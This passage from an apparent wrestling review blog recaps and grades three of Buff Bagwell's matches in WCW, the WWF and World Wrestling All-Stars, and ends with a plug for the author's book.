For once, Bagwell was given a long singles push as both a face and a heel. He lasted in this role for the better part of a year and had some very good success though didn’t win any titles. Since the results weren’t there, it’s back to the tag teams, this time with Shane Douglas. At Spring Stampede 2000 they faced Ric Flair and Lex Luger in a tournament final for the vacant tag titles.

Tag Titles: Team Package vs. Buff Bagwell/Shane Douglas

Russo comes out with the New Blood and sits in on commentary. Luger vs. Bagwell gets us going. Russo is guaranteeing victory. Buff rakes the eyes to stop the offense and it’s off to Shane. Luger casually gorilla presses him and Flair gets in a right hand and they go to the floor. Tony shouts BS about something as the New Blood beats on Flair. How a guy that was world champion seven years ago can be considered New Blood is beyond me but it’s WCW so who cares.

Bagwell beats down Flair and Tony wants more choking and violence. That would be cool if we hadn’t seen it in every single match so far tonight. Flair gets a chop and they hit the ropes, bumping heads to put both guys down. Luger FINALLY does something to break up the beating on Flair. There’s the hot tag to Luger who cleans house for a bit and there’s the Figure Four on Shane. Russo gets up with the bat as the Blockbuster hits Shane by mistake. Russo pulls the referee out as Kronik debuts and hits the double chokeslam on Luger to give the New Blood the titles with Russo counting the pin.

That was pretty much if for Buff in WCW as he would have random feuds and matches until the company went under about a year later. Bagwell would be brought into the WWF, receiving one match for the WCW Title on an episode of Raw.

 

WCW World Title: Booker T vs. Buff Bagwell

 

Hudson screws up AGAIN, saying Booker is the current TV Champion rather than the US Champion along with world champion. You can actually see the people walking out. The fans IMMEDIATELY start changing BS and the upper level is blacked out so we can’t see them leaving. Buff takes over and does his strut as EVEN MORE people leave.

 

Buff hooks a chinlock and the remaining people boo. Now they chant THIS MATCH SUCKS. Buff starts glaring at the crowd, basically turning heel mid match. Booker comes back with a side kick and forearm that misses but gets two anyway. Axe kick, Spinarooni, Austin and Angle FINALLY come in for the DQ.

 

Rating: F. I’m going to go into a much longer explanation of why this was an abomination later, but for now we’ll go with this: if the company has to black out the upper deck because your match made that many fans leave, your match is a failure. Again, we’ll get back to this later.

 

That was it for Buff in the WWF as the match was so poorly received that he was fired. Bagwell would hit the indy circuit after that, joining up with the World Wrestling All-Stars organization. He would appear on their first Pay Per View called The Inception in a match that, I kid you not, was called T***, Whips and Buff.

 

Seven Deadly Sins Tournament Semi-Finals: Jeff Jarrett vs. Buff Bagwell

This is a, and I quote, T*** Whips and Buff match, which means the Starretts as lumberjacks holding whips. Buff’s graphic says Road Dogg but to be fair it’s their first show. Apparently Buff got to pick the stipulations. Ok then. Basic stuff to start and Jeff has to avoid a whipping. A clothesline puts Jeff on the floor and the girls chase him around some more. Buff gets sent to the floor and the girls help him up and rub his shoulders.

Jeff gets one of the whips and beats on Buff a bit and it’s off to a token reverse chinlock. Buff escapes with an electric chair and hammers away before sending Jeff to the floor for a whipping. Buff whips him a bit too and the referee says that’s not allowed so the referee takes a few shots too. In the ring the Blockbuster hits but there’s no referee. One of the girls counts and Buff (who wasn’t looking) celebrates, allowing Jeff to hit the Stroke to advance to the finals.

Rating: D-. Another comedy match here and it’s starting to wear thin. These matches aren’t funny and at about four minutes long, they aren’t coming off as important or anything like that. These are supposed to world title tournament matches but there’s almost no wrestling involved at all. That gets old in a hurry.

 

Overall, Bagwell is a guy who was always around in WCW but never did anything of note as a singles guy. He had a ton of potential with a great look and some above average skills, but the solution was always put him in a tag team and give him a meaningless tag title that never elevated him at all. His finisher, the Buff Blockbuster (flipping middle rope neckbreaker) was awesome and he could go in the ring, but as usual, WCW screwed it up.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

 

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